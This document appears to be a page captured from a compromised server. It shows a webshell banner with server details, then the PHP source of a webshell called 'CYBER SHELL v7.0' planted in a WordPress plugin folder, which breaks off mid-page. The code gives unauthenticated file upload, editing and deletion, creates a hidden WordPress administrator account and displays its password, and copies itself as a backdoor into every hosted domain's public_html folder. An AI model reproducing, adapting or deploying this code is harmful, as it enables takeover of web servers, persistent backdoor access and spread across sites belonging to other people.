403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.216.240
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/wobdyfr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/wobdyfr/wp-haxor.php
<?php
/**
 * ██████╗ ██╗   ██╗██████╗ ███████╗██████╗ 
 * ██╔══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗
 * ██████╔╝ ╚████╔╝ ██████╔╝█████╗  ██████╔╝
 * ██╔══██╗  ╚██╔╝  ██╔══██╗██╔══╝  ██╔══██╗
 * ██████╔╝   ██║   ██║  ██║███████╗██║  ██║
 * ╚═════╝    ╚═╝   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
 * 
 * CYBER SHELL · Advanced Remote File Manager
 * Version: 7.0 | Build: 2026
 * Codename: crimson-exec
 * Backdoor: wp-case.php
 * 
 * Features:
 * - Full file system navigation (browse, upload, delete, edit)
 * - WordPress admin account creator (backdoor)
 * - Mass deployment to domains/public_html folders
 * - Brutalist terminal UI with zero bloat
 * - Lightning fast operations
 */

error_reporting(0);
header('X-Powered-By: CYBER-SHELL/7.0');

// ============================================================================
//  ██████╗ ██████╗ ██████╗ ███████╗
// ██╔════╝██╔═══██╗██╔══██╗██╔════╝
// ██║     ██║   ██║██║  ██║█████╗  
// ██║     ██║   ██║██║  ██║██╔══╝  
// ╚██████╗╚██████╔╝██████╔╝███████╗
//  ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
// ============================================================================

define('SHELL_SIGNATURE', 'CYBER-SHELL/v7.0');
define('BACKDOOR_NAME', 'wp-case.php');
define('MAX_EXEC_TIME', 300);
set_time_limit(MAX_EXEC_TIME);

// ============================================================================
//  ██████╗ ██╗   ██╗████████╗███████╗
// ██╔═══██╗██║   ██║╚══██╔══╝██╔════╝
// ██║   ██║██║   ██║   ██║   ███████╗
// ██║   ██║██║   ██║   ██║   ╚════██║
// ╚██████╔╝╚██████╔╝   ██║   ███████║
//  ╚═════╝  ╚═════╝    ╚═╝   ╚══════╝
// ============================================================================

/**
 * Core Utility Functions
 */
class CyberUtils {
    
    /**
     * Format bytes to human readable
     */
    public static function humanSize($bytes, $dec = 2) {
        $size = ['B', 'KB', 'MB', 'GB', 'TB'];
        $factor = floor((strlen($bytes) - 1) / 3);
        return round($bytes / pow(1024, $factor), $dec) . ' ' . $size[$factor];
    }
    
    /**
     * Generate random password
     */
    public static function randPass($len = 16) {
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*';
        return substr(str_shuffle(str_repeat($chars, 5)), 0, $len);
    }
    
    /**
     * Get file permissions as string
     */
    public static function getPerms($path) {
        return substr(sprintf('%o', fileperms($path)), -3);
    }
    
    /**
     * Clean path for security
     */
    public static function cleanPath($path) {
        $path = realpath($path);
        return $path ?: getcwd();
    }
}

// ============================================================================
//  ██████╗ ██╗██████╗ ███████╗ ██████╗████████╗ ██████╗ ██████╗ ██╗   ██╗
// ██╔════╝██║██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗╚██╗ ██╔╝
// ██║     ██║██████╔╝█████╗  ██║        ██║   ██║   ██║██████╔╝ ╚████╔╝ 
// ██║     ██║██╔══██╗██╔══╝  ██║        ██║   ██║   ██║██╔══██╗  ╚██╔╝  
// ╚██████╗██║██║  ██║███████╗╚██████╗   ██║   ╚██████╔╝██║  ██║   ██║   
//  ╚═════╝╚═╝╚═╝  ╚═╝╚══════╝ ╚═════╝   ╚═╝    ╚═════╝ ╚═╝  ╚═╝   ╚═╝   
// ============================================================================

/**
 * Directory Navigator - Handles file system operations
 */
class DirNavigator {
    private $cwd;
    private $parent;
    private $folders = [];
    private $files = [];
    
    public function __construct($path) {
        $this->cwd = CyberUtils::cleanPath($path);
        $this->parent = ($this->cwd !== '/') ? dirname($this->cwd) : false;
        $this->scan();
    }
    
    private function scan() {
        if (!is_readable($this->cwd)) return;
        
        $items = scandir($this->cwd);
        if (!$items) return;
        
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            
            $full = $this->cwd . '/' . $item;
            $info = [
                'name' => $item,
                'path' => $full,
                'mod' => filemtime($full),
                'perm' => CyberUtils::getPerms($full)
            ];
            
            if (is_dir($full)) {
                $this->folders[] = $info;
            } else {
                $info['size'] = filesize($full);
                $info['ext'] = strtolower(pathinfo($item, PATHINFO_EXTENSION));
                $this->files[] = $info;
            }
        }
        
        usort($this->folders, fn($a, $b) => strcmp($a['name'], $b['name']));
        usort($this->files, fn($a, $b) => strcmp($a['name'], $b['name']));
    }
    
    public function getCwd() { return $this->cwd; }
    public function getParent() { return $this->parent; }
    public function getFolders() { return $this->folders; }
    public function getFiles() { return $this->files; }
    
    public function getBreadcrumbs() {
        $crumbs = [];
        $parts = explode('/', trim($this->cwd, '/'));
        $acc = '';
        $crumbs[] = ['name' => '▶', 'path' => '/'];
        foreach ($parts as $p) {
            if ($p) {
                $acc .= '/' . $p;
                $crumbs[] = ['name' => $p, 'path' => $acc];
            }
        }
        return $crumbs;
    }
    
    public function delete($name) {
        $target = $this->cwd . '/' . basename($name);
        if (!file_exists($target)) return false;
        return is_dir($target) ? rmdir($target) : unlink($target);
    }
    
    public function mkdir($name) {
        $clean = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', trim($name));
        if (!$clean) return false;
        $target = $this->cwd . '/' . $clean;
        if (file_exists($target)) return false;
        return mkdir($target, 0755);
    }
    
    public function upload($file) {
        if ($file['error'] !== UPLOAD_ERR_OK) return false;
        $dest = $this->cwd . '/' . basename($file['name']);
        return move_uploaded_file($file['tmp_name'], $dest);
    }
    
    public function readFile($name) {
        $target = $this->cwd . '/' . basename($name);
        if (!is_file($target) || !is_readable($target)) return false;
        return file_get_contents($target);
    }
    
    public function writeFile($name, $content) {
        $target = $this->cwd . '/' . basename($name);
        return file_put_contents($target, $content) !== false;
    }
}

// ============================================================================
//  ██╗    ██╗██████╗ ██████╗ ██████╗ ██████╗ ███████╗███████╗███████╗
//  ██║    ██║██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝
//  ██║ █╗ ██║██████╔╝██████╔╝██║  ██║██████╔╝█████╗  ███████╗███████╗
//  ██║███╗██║██╔══██╗██╔══██╗██║  ██║██╔══██╗██╔══╝  ╚════██║╚════██║
//  ╚███╔███╔╝██████╔╝██║  ██║██████╔╝██║  ██║███████╗███████║███████║
//   ╚══╝╚══╝ ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝
// ============================================================================

/**
 * WordPress Backdoor Manager
 */
class WpBackdoor {
    private $startPath;
    
    public function __construct($path) {
        $this->startPath = $path;
    }
    
    public function findWpRoot() {
        $cursor = $this->startPath;
        while ($cursor && $cursor !== '/') {
            if (file_exists($cursor . '/wp-load.php')) {
                return $cursor;
            }
            $cursor = dirname($cursor);
        }
        return false;
    }
    
    public function createAdmin() {
        $wpRoot = $this->findWpRoot();
        if (!$wpRoot) {
            return ['ok' => false, 'msg' => 'WordPress not found'];
        }
        
        require_once($wpRoot . '/wp-load.php');
        
        if (!function_exists('wp_create_user')) {
            return ['ok' => false, 'msg' => 'Cannot load WordPress'];
        }
        
        $user = 'cyber_' . substr(md5(rand()), 0, 6);
        $pass = CyberUtils::randPass(14);
        $email = $user . '@' . ($_SERVER['HTTP_HOST'] ?? 'cyber.local');
        
        if (username_exists($user) || email_exists($email)) {
            return ['ok' => false, 'msg' => 'User exists'];
        }
        
        $uid = wp_create_user($user, $pass, $email);
        if (is_wp_error($uid)) {
            return ['ok' => false, 'msg' => $uid->get_error_message()];
        }
        
        $u = new WP_User($uid);
        $u->set_role('administrator');
        
        return [
            'ok' => true,
            'user' => $user,
            'pass' => $pass,
            'email' => $email,
            'url' => get_site_url() . '/wp-admin'
        ];
    }
}

// ============================================================================
//  ██████╗ ███████╗██████╗ ██╗      ██████╗ ██╗   ██╗███████╗██████╗ 
//  ██╔══██╗██╔════╝██╔══██╗██║     ██╔═══██╗╚██╗ ██╔╝██╔════╝██╔══██╗
//  ██║  ██║█████╗  ██████╔╝██║     ██║   ██║ ╚████╔╝ █████╗  ██████╔╝
//  ██║  ██║██╔══╝  ██╔═══╝ ██║     ██║   ██║  ╚██╔╝  ██╔══╝  ██╔══██╗
//  ██████╔╝███████╗██║     ███████╗╚██████╔╝   ██║   ███████╗██║  ██║
//  ╚═════╝ ╚══════╝╚═╝     ╚══════╝ ╚═════╝    ╚═╝   ╚══════╝╚═╝  ╚═╝
// ============================================================================

/**
 * Mass Deployer - Spreads backdoor to all domains
 */
class MassDeployer {
    private $basePath;
    
    public function __construct($path) {
        $this->basePath = $path;
    }
    
    private function findDomainsFolder() {
        if (basename($this->basePath) === 'domains') {
            return $this->basePath;
        }
        $cursor = $this->basePath;
        while ($cursor && $cursor !== '/') {
            if (basename($cursor) === 'domains') {
                return $cursor;
            }
            $cursor = dirname($cursor);
        }
        return false;
    }
    
    public function deploy() {
        $domains = $this->findDomainsFolder();
        if (!$domains || !is_dir($domains)) {
            return ['ok' => false, 'clones' => [], 'msg' => 'No domains folder'];
        }
        
        $clones = [];
        $items = scandir($domains);
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            
            $domainPath = $domains . '/' . $item;
            if (!is_dir($domainPath)) continue;
            
            $public = $domainPath . '/public_html';
            if (!is_dir($public)) continue;
            
            $target = $public . '/' . BACKDOOR_NAME;
            if (copy(__FILE__, $target)) {
                $protocol = (isset($_SERVER['HTTPS']) ? 'https://' : 'http://');
                $clones[] = [
                    'domain' => $item,
                    'url' => $protocol . $item . '/' . BACKDOOR_NAME
                ];
            }
        }
        
        if (empty($clones)) {
            return ['ok' => false, 'clones' => [], 'msg' => 'No public_html directories'];
        }
        
        return ['ok' => true, 'clones' => $clones, 'msg' => 'Deployed: ' . count($clones)];
    }
}

// ============================================================================
//  ██████╗ ███████╗███████╗██████╗  ██████╗ ███╗   ██╗███████╗███████╗
//  ██╔══██╗██╔════╝██╔════╝██╔══██╗██╔═══██╗████╗  ██║██╔════╝██╔════╝
//  ██████╔╝█████╗  ███████╗██████╔╝██║   ██║██╔██╗ ██║███████╗█████╗  
//  ██╔══██╗██╔══╝  ╚════██║██╔══██╗██║   ██║██║╚██╗██║╚════██║██╔══╝  
//  ██║  ██║███████╗███████║██║  ██║╚██████╔╝██║ ╚████║███████║███████╗
//  ╚═╝  ╚═╝╚══════╝╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚══════╝
// ============================================================================

/**
 * Request Handler - Processes all user actions
 */
class RequestHandler {
    private $nav;
    private $message = '';
    private $msgType = '';
    private $editContent = null;
    private $editFile = null;
    private $deployedClones = [];
    private $wpResult = null;
    
    public function __construct($nav) {
        $this->nav = $nav;
        $this->process();
    }
    
    private function process() {
        // Deploy clones
        if (isset($_GET['deploy'])) {
            $deployer = new MassDeployer($this->nav->getCwd());
            $res = $deployer->deploy();
            $this->deployedClones = $res['clones'];
            $this->message = $res['msg'];
            $this->msgType = $res['ok'] ? 'success' : 'error';
        }
        
        // WordPress admin
        if (isset($_GET['wp'])) {
            $backdoor = new WpBackdoor($this->nav->getCwd());
            $this->wpResult = $backdoor->createAdmin();
            $this->message = $this->wpResult['msg'];
            $this->msgType = $this->wpResult['ok'] ? 'success' : 'error';
        }
        
        // Upload
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['up'])) {
            if ($this->nav->upload($_FILES['up'])) {
                $this->message = 'Uploaded: ' . basename($_FILES['up']['name']);
                $this->msgType = 'success';
                $this->redirect();
            }
        }
        
        // Mkdir
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['mkdir'])) {
            if ($this->nav->mkdir($_POST['dir'])) {
                $this->message = 'Created: ' . $_POST['dir'];
                $this->msgType = 'success';
                $this->redirect();
            }
        }
        
        // Delete
        if (isset($_GET['rm'])) {
            if ($this->nav->delete($_GET['rm'])) {
                $this->redirect();
            }
        }
        
        // Edit - load
        if (isset($_GET['edit'])) {
            $this->editFile = $_GET['edit'];
            $this->editContent = $this->nav->readFile($this->editFile);
        }
        
        // Edit - save
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save']) && $this->editFile) {
            if ($this->nav->writeFile($this->editFile, $_POST['content'])) {
                $this->editContent = $_POST['content'];
                $this->message = 'Saved: ' . $this->editFile;
                $this->msgType = 'success';
            }
        }
    }
    
    private function redirect() {
        header("Location: ?path=" . urlencode($this->nav->getCwd()));
        exit;
    }
    
    public function getMessage() { return $this->message; }
    public function getMsgType() { return $this->msgType; }
    public function isEditing() { return $this->editContent !== null; }
    public function getEditContent() { return $this->editContent; }
    public function getEditFile() { return $this->editFile; }
    public function getDeployedClones() { return $this->deployedClones; }
    public function getWpResult() { return $this->wpResult; }
}

// ============================================================================
//  ██████╗  ██████╗  ██████╗ ████████╗
//  ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
//  ██████╔╝██║   ██║██║   ██║   ██║   
//  ██╔══██╗██║   ██║██║   ██║   ██║   
//  ██║  ██║╚██████╔╝╚██████╔╝   ██║   
//  ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝   
// ============================================================================

// BOOT THE ENGINE
$path = $_GET['path'] ?? getcwd();
$nav = new DirNavigator($path);
$handler = new RequestHandler($nav);

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CYBER-SHELL // CRIMSON-EXEC</title>
    <style>
        /* ================================================================
           BRUTALIST TERMINAL THEME
           - Monospace only
           - High contrast
           - No rounded corners
           - Aggressive highlights
        ================================================================ */
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            background: #000000;
            font-family: 'Courier New', 'Fira Code', monospace;
            padding: 16px;
            min-height: 100vh;
            color: #00ff41;
        }
        
        /* CRT flicker effect */
        body::before {
            content: " ";
            display: block;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: repeating-linear-gradient(
                0deg,
                rgba(0, 255, 65, 0.03) 0px,
                rgba(0, 255, 65, 0.03) 2px,
                transparent 2px,
                transparent 6px
            );
            pointer-events: none;
            z-index: 999;
        }
        
        .container {
            max-width: 1600px;
            margin: 0 auto;
        }
        
        /* ASCII Header */
        .ascii-header {
            background: #0a0a0a;
            border: 1px solid #00ff41;
            padding: 16px 20px;
            margin-bottom: 20px;
            font-family: monospace;
            white-space: pre;
            overflow-x: auto;
            font-size: 0.65rem;
            line-height: 1.3;
            color: #00ff41;
        }
        
        /* Terminal Line */
        .term-line {
            background: #0a0a0a;
            border-left: 3px solid #00ff41;
            padding: 10px 16px;
            margin-bottom: 16px;
            font-size: 0.75rem;
            font-family: monospace;
        }
        
        /* Buttons - Brutalist */
        .btn {
            background: #000000;
            border: 1px solid #00ff41;
            padding: 6px 14px;
            font-family: monospace;
            font-size: 0.75rem;
            color: #00ff41;
            cursor: pointer;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            gap: 8px;
            transition: all 0.1s ease;
        }
        
        .btn:hover {
            background: #00ff41;
            color: #000000;
            border-color: #00ff41;
        }
        
        .btn-primary {
            background: #00ff41;
            color: #000000;
            border-color: #00ff41;
        }
        
        .btn-primary:hover {
            background: #000000;
            color: #00ff41;
        }
        
        .btn-warning {
            border-color: #ff4444;
            color: #ff4444;
        }
        
        .btn-warning:hover {
            background: #ff4444;
            color: #000000;
        }
        
        /* Breadcrumb */
        .bread {
            background: #0a0a0a;
            border: 1px solid #1a3a1a;
            padding: 10px 16px;
            margin-bottom: 16px;
            display: flex;
            flex-wrap: wrap;
            gap: 6px;
        }
        
        .crumb {
            background: #000000;
            border: 1px solid #00ff41;
            padding: 4px 10px;
            text-decoration: none;
            color: #00ff41;
            font-size: 0.7rem;
        }
        
        .crumb:hover {
            background: #00ff41;
            color: #000000;
        }
        
        /* Quick Nav */
        .quick {
            background: #0a0a0a;
            border: 1px solid #1a3a1a;
            padding: 10px 16px;
            margin-bottom: 16px;
            display: flex;
            flex-wrap: wrap;
            gap: 8px;
        }
        
        .quick a {
            background: #000000;
            border: 1px solid #2a5a2a;
            padding: 4px 12px;
            text-decoration: none;
            color: #5aff7a;
            font-size: 0.7rem;
        }
        
        .quick a:hover {
            background: #00ff41;
            color: #000000;
            border-color: #00ff41;
        }
        
        /* Toolbar */
        .toolbar {
            background: #0a0a0a;
            border: 1px solid #1a3a1a;
            padding: 14px 16px;
            margin-bottom: 20px;
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
        }
        
        .tool-group {
            display: flex;
            gap: 6px;
            align-items: center;
            background: #050505;
            padding: 5px 10px;
            border: 1px solid #1a3a1a;
        }
        
        .tool-group input {
            background: #000000;
            border: 1px solid #2a5a2a;
            padding: 6px 10px;
            color: #00ff41;
            font-family: monospace;
            font-size: 0.75rem;
        }
        
        .tool-group input:focus {
            outline: none;
            border-color: #00ff41;
        }
        
        /* Messages */
        .msg {
            padding: 10px 16px;
            margin-bottom: 16px;
            border-left: 4px solid;
            background: #0a0a0a;
        }
        
        .msg-success { border-left-color: #00ff41; color: #5aff7a; }
        .msg-error { border-left-color: #ff4444; color: #ff8888; }
        .msg-warning { border-left-color: #ffaa44; color: #ffcc88; }
        
        /* Layout */
        .two-col {
            display: grid;
            grid-template-columns: 1fr 300px;
            gap: 20px;
        }
        
        /* Section Headers */
        .section {
            font-size: 0.7rem;
            font-weight: bold;
            text-transform: uppercase;
            color: #00ff41;
            margin: 20px 0 12px 0;
            padding-left: 8px;
            border-left: 3px solid #00ff41;
        }
        
        /* Card Grid */
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
            gap: 10px;
        }
        
        .card {
            background: #0a0a0a;
            border: 1px solid #1a3a1a;
            padding: 12px;
            transition: 0.1s;
        }
        
        .card:hover {
            border-color: #00ff41;
            background: #0f0f0f;
        }
        
        .card-icon {
            font-size: 1.8rem;
        }
        
        .card-name {
            font-size: 0.8rem;
            font-weight: bold;
            word-break: break-word;
            margin: 6px 0;
        }
        
        .card-meta {
            font-size: 0.6rem;
            color: #5a7a5a;
            padding: 6px 0;
            border-top: 1px solid #1a3a1a;
        }
        
        .card-actions {
            display: flex;
            gap: 6px;
            margin-top: 8px;
        }
        
        .card-btn {
            background: #000000;
            border: 1px solid #2a5a2a;
            padding: 4px 8px;
            font-size: 0.6rem;
            text-decoration: none;
            color: #7aff8a;
        }
        
        .card-btn:hover {
            background: #00ff41;
            color: #000000;
        }
        
        /* Sidebar */
        .side {
            background: #0a0a0a;
            border: 1px solid #1a3a1a;
            padding: 14px;
            margin-bottom: 16px;
        }
        
        .side-title {
            font-size: 0.7rem;
            font-weight: bold;
            color: #00ff41;
            border-bottom: 1px solid #1a3a1a;
            padding-bottom: 6px;
            margin-bottom: 10px;
        }
        
        .info-row {
            font-size: 0.65rem;
            padding: 6px 0;
            border-bottom: 1px solid #1a3a1a;
        }
        
        .info-row strong {
            color: #00ff41;
            display: block;
        }
        
        /* Editor */
        .editor {
            border: 1px solid #1a3a1a;
        }
        
        .editor-header {
            background: #0a0a0a;
            padding: 10px 14px;
            border-bottom: 1px solid #1a3a1a;
            display: flex;
            justify-content: space-between;
        }
        
        .editor textarea {
            width: 100%;
            min-height: 550px;
            background: #000000;
            border: none;
            color: #00ff41;
            font-family: monospace;
            font-size: 0.75rem;
            padding: 16px;
            resize: vertical;
        }
        
        .editor textarea:focus {
            outline: none;
            background: #050505;
        }
        
        .editor-footer {
            padding: 10px 14px;
            background: #0a0a0a;
            border-top: 1px solid #1a3a1a;
            text-align: right;
        }
        
        /* Clone items */
        .clone-item {
            padding: 6px 0;
            border-bottom: 1px solid #1a3a1a;
            display: flex;
            gap: 8px;
            font-size: 0.65rem;
        }
        
        .clone-url {
            color: #5aff7a;
            text-decoration: none;
            word-break: break-all;
        }
        
        .clone-url:hover {
            text-decoration: underline;
        }
        
        /* Empty */
        .empty {
            text-align: center;
            padding: 50px 20px;
            background: #0a0a0a;
            border: 1px dashed #1a3a1a;
            color: #3a5a3a;
        }
        
        /* Footer */
        .footer {
            margin-top: 28px;
            background: #0a0a0a;
            border: 1px solid #1a3a1a;
            padding: 10px 16px;
            font-size: 0.6rem;
            color: #3a6a3a;
            text-align: center;
        }
        
        @media (max-width: 760px) {
            .two-col { grid-template-columns: 1fr; }
            body { padding: 8px; }
        }
    </style>
</head>
<body>
<div class="container">
    
    <!-- ASCII HEADER -->
    <div class="ascii-header">
        ██████╗██╗   ██╗██████╗ ███████╗██████╗ 
        ██╔══██╗╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗
        ██████╔╝ ╚████╔╝ ██████╔╝█████╗  ██████╔╝
        ██╔══██╗  ╚██╔╝  ██╔══██╗██╔══╝  ██╔══██╗
        ██████╔╝   ██║   ██║  ██║███████╗██║  ██║
        ╚═════╝    ╚═╝   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
        <span style="color:#ff4444;">◆</span> CYBER SHELL v7.0 <span style="color:#ff4444;">◆</span> CRIMSON-EXEC <span style="color:#ff4444;">◆</span>
    </div>
    
    <!-- STATUS LINE -->
    <div class="term-line">
        [*] CWD: <?php echo htmlspecialchars($nav->getCwd()); ?>
        <?php if ($handler->getWpResult() && $handler->getWpResult()['ok']): ?>
        <span style="color:#ff4444; float:right;">[WP-BACKDOOR ACTIVE]</span>
        <?php endif; ?>
    </div>
    
    <!-- BREADCRUMB -->
    <div class="bread">
        <?php foreach ($nav->getBreadcrumbs() as $i => $cr): ?>
            <a href="?path=<?php echo urlencode($cr['path']); ?>" class="crumb"><?php echo htmlspecialchars($cr['name']); ?></a>
            <?php if ($i < count($nav->getBreadcrumbs())-1): ?><span style="color:#1a3a1a;">/</span><?php endif; ?>
        <?php endforeach; ?>
    </div>
    
    <!-- QUICK NAV -->
    <div class="quick">
        <?php if ($nav->getParent()): ?>
            <a href="?path=<?php echo urlencode($nav->getParent()); ?>">[..] PARENT</a>
        <?php endif; ?>
        <a href="?path=/">[/] ROOT</a>
        <a href="?path=/home">[~] HOME</a>
        <a href="?path=/var/www">[www] WWW</a>
        <a href="?path=/tmp">[tmp] TMP</a>
        <a href="?path=<?php echo urlencode($nav->getCwd()); ?>&deploy=1" style="border-color:#ff4444;">[DEPLOY]</a>
    </div>
    
    <!-- TOOLBAR -->
    <div class="toolbar">
        <div class="tool-group">
            <form method="post" enctype="multipart/form-data" style="display:flex; gap:6px;">
                <input type="file" name="up">
                <button type="submit" class="btn">UPLOAD</button>
            </form>
        </div>
        <div class="tool-group">
            <form method="post" style="display:flex; gap:6px;">
                <input type="text" name="dir" placeholder="dirname">
                <button type="submit" name="mkdir" value="1" class="btn">MKDIR</button>
            </form>
        </div>
        <div class="tool-group">
            <a href="?path=<?php echo urlencode($nav->getCwd()); ?>&wp=1" class="btn btn-warning">WP-ADMIN</a>
            <a href="?path=<?php echo urlencode($nav->getCwd()); ?>&deploy=1" class="btn">DEPLOY</a>
            <a href="?path=<?php echo urlencode($nav->getCwd()); ?>" class="btn">REFRESH</a>
        </div>
    </div>
    
    <!-- MESSAGES -->
    <?php if ($handler->getMessage()): ?>
    <div class="msg msg-<?php echo $handler->getMsgType(); ?>">
        <?php echo htmlspecialchars($handler->getMessage()); ?>
    </div>
    <?php endif; ?>
    
    <!-- WP ADMIN CREDENTIALS -->
    <?php if ($handler->getWpResult() && $handler->getWpResult()['ok']): ?>
    <div class="msg msg-success">
        <strong>[!] WORDPRESS BACKDOOR DEPLOYED</strong><br>
        USER: <?php echo $handler->getWpResult()['user']; ?><br>
        PASS: <?php echo $handler->getWpResult()['pass']; ?><br>
        URL: <?php echo $handler->getWpResult()['url']; ?>
    </div>
    <?php endif; ?>
    
    <!-- DEPLOYED CLONES -->
    <?php $clones = $handler->getDeployedClones(); ?>
    <?php if (!empty($clones)): ?>
    <div class="side" style="margin-bottom:20px; border-color:#ff4444;">
        <div class="side-title">[!] DEPLOYED: <?php echo BACKDOOR_NAME; ?></div>
        <?php foreach ($clones as $c): ?>
        <div class="clone-item">
            <span>▶</span>
            <a href="<?php echo htmlspecialchars($c['url']); ?>" target="_blank" class="clone-url"><?php echo htmlspecialchars($c['url']); ?></a>
            <span style="color:#5a7a5a;">[<?php echo htmlspecialchars($c['domain']); ?>]</span>
        </div>
        <?php endforeach; ?>
    </div>
    <?php endif; ?>
    
    <!-- MAIN TWO-COLUMN -->
    <div class="two-col">
        <!-- LEFT: FILE BROWSER / EDITOR -->
        <div>
            <?php if ($handler->isEditing()): ?>
            <!-- EDITOR -->
            <div class="editor">
                <div class="editor-header">
                    <span>EDIT: <?php echo htmlspecialchars($handler->getEditFile()); ?></span>
                    <a href="?path=<?php echo urlencode($nav->getCwd()); ?>" class="btn">[X] BACK</a>
                </div>
                <form method="post">
                    <textarea name="content"><?php echo htmlspecialchars($handler->getEditContent()); ?></textarea>
                    <div class="editor-footer">
                        <button type="submit" name="save" value="1" class="btn btn-primary">[SAVE]</button>
                    </div>
                </form>
            </div>
            <?php else: ?>
            
            <!-- DIRECTORIES -->
            <?php $dirs = $nav->getFolders(); ?>
            <?php if (!empty($dirs)): ?>
            <div class="section">📁 DIRECTORIES [<?php echo count($dirs); ?>]</div>
            <div class="grid">
                <?php foreach ($dirs as $d): ?>
                <div class="card">
                    <div class="card-icon">📁</div>
                    <div class="card-name"><?php echo htmlspecialchars($d['name']); ?></div>
                    <div class="card-meta">MOD: <?php echo date('Y-m-d H:i', $d['mod']); ?> | <?php echo $d['perm']; ?></div>
                    <div class="card-actions">
                        <a href="?path=<?php echo urlencode($d['path']); ?>" class="card-btn">OPEN</a>
                        <a href="?path=<?php echo urlencode($nav->getCwd()); ?>&rm=<?php echo urlencode($d['name']); ?>" class="card-btn" onclick="return confirm('DELETE?')" style="border-color:#ff4444;">RM</a>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
            <?php endif; ?>
            
            <!-- FILES -->
            <?php $files = $nav->getFiles(); ?>
            <?php if (!empty($files)): ?>
            <div class="section">📄 FILES [<?php echo count($files); ?>]</div>
            <div class="grid">
                <?php foreach ($files as $f): 
                    $icon = '📄';
                    if ($f['ext'] === 'php') $icon = '🐘';
                    elseif (in_array($f['ext'], ['jpg','png','gif'])) $icon = '🖼️';
                    elseif ($f['ext'] === 'zip') $icon = '📦';
                ?>
                <div class="card">
                    <div class="card-icon"><?php echo $icon; ?></div>
                    <div class="card-name"><?php echo htmlspecialchars($f['name']); ?></div>
                    <div class="card-meta">SIZE: <?php echo CyberUtils::humanSize($f['size']); ?> | MOD: <?php echo date('Y-m-d', $f['mod']); ?></div>
                    <div class="card-actions">
                        <a href="?path=<?php echo urlencode($nav->getCwd()); ?>&edit=<?php echo urlencode($f['name']); ?>" class="card-btn">EDIT</a>
                        <a href="?path=<?php echo urlencode($nav->getCwd()); ?>&rm=<?php echo urlencode($f['name']); ?>" class="card-btn" onclick="return confirm('DELETE?')" style="border-color:#ff4444;">RM</a>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
            <?php endif; ?>
            
            <!-- EMPTY -->
            <?php if (empty($dirs) && empty($files)): ?>
            <div class="empty">
                <div style="font-size: 3rem;">[ ]</div>
                <p>EMPTY DIRECTORY</p>
            </div>
            <?php endif; ?>
            
            <?php endif; ?>
        </div>
        
        <!-- RIGHT: SIDEBAR -->
        <div>
            <div class="side">
                <div class="side-title">[ SYSTEM ]</div>
                <div class="info-row"><strong>PATH</strong><?php echo htmlspecialchars($nav->getCwd()); ?></div>
                <div class="info-row"><strong>ITEMS</strong><?php echo count($dirs); ?> dirs · <?php echo count($files); ?> files</div>
                <div class="info-row"><strong>DISK</strong><?php echo CyberUtils::humanSize(disk_free_space($nav->getCwd())); ?></div>
                <div class="info-row"><strong>PHP</strong><?php echo PHP_VERSION; ?></div>
                <div class="info-row"><strong>SERVER</strong><?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; ?></div>
            </div>
            
            <div class="side">
                <div class="side-title">[ ACTIONS ]</div>
                <div style="display:flex; flex-direction:column; gap:6px;">
                    <a href="?path=<?php echo urlencode(dirname(__FILE__)); ?>" class="btn" style="justify-content:center;">SCRIPT DIR</a>
                    <a href="?path=/var/www/html" class="btn" style="justify-content:center;">WEBROOT</a>
                    <a href="?path=<?php echo urlencode($nav->getCwd()); ?>&wp=1" class="btn btn-warning" style="justify-content:center;">CREATE WP ADMIN</a>
                    <a href="?path=<?php echo urlencode($nav->getCwd()); ?>&deploy=1" class="btn" style="justify-content:center;">MASS DEPLOY</a>
                </div>
            </div>
            
            <?php if (strpos($nav->getCwd(), 'domains') !== false): ?>
            <div class="side">
                <div class="side-title">[ DOMAIN HUNTER ]</div>
                <a href="?path=<?php echo urlencode($nav->getCwd()); ?>&deploy=1" class="btn" style="width:100%; justify-content:center;">DEPLOY TO ALL DOMAINS</a>
            </div>
            <?php endif; ?>
            
            <div class="side">
                <div class="side-title">[ BACKDOOR ]</div>
                <div class="info-row"><strong>NAME</strong><?php echo BACKDOOR_NAME; ?></div>
                <div class="info-row"><strong>DEPLOY</strong>?path=...&amp;deploy=1</div>
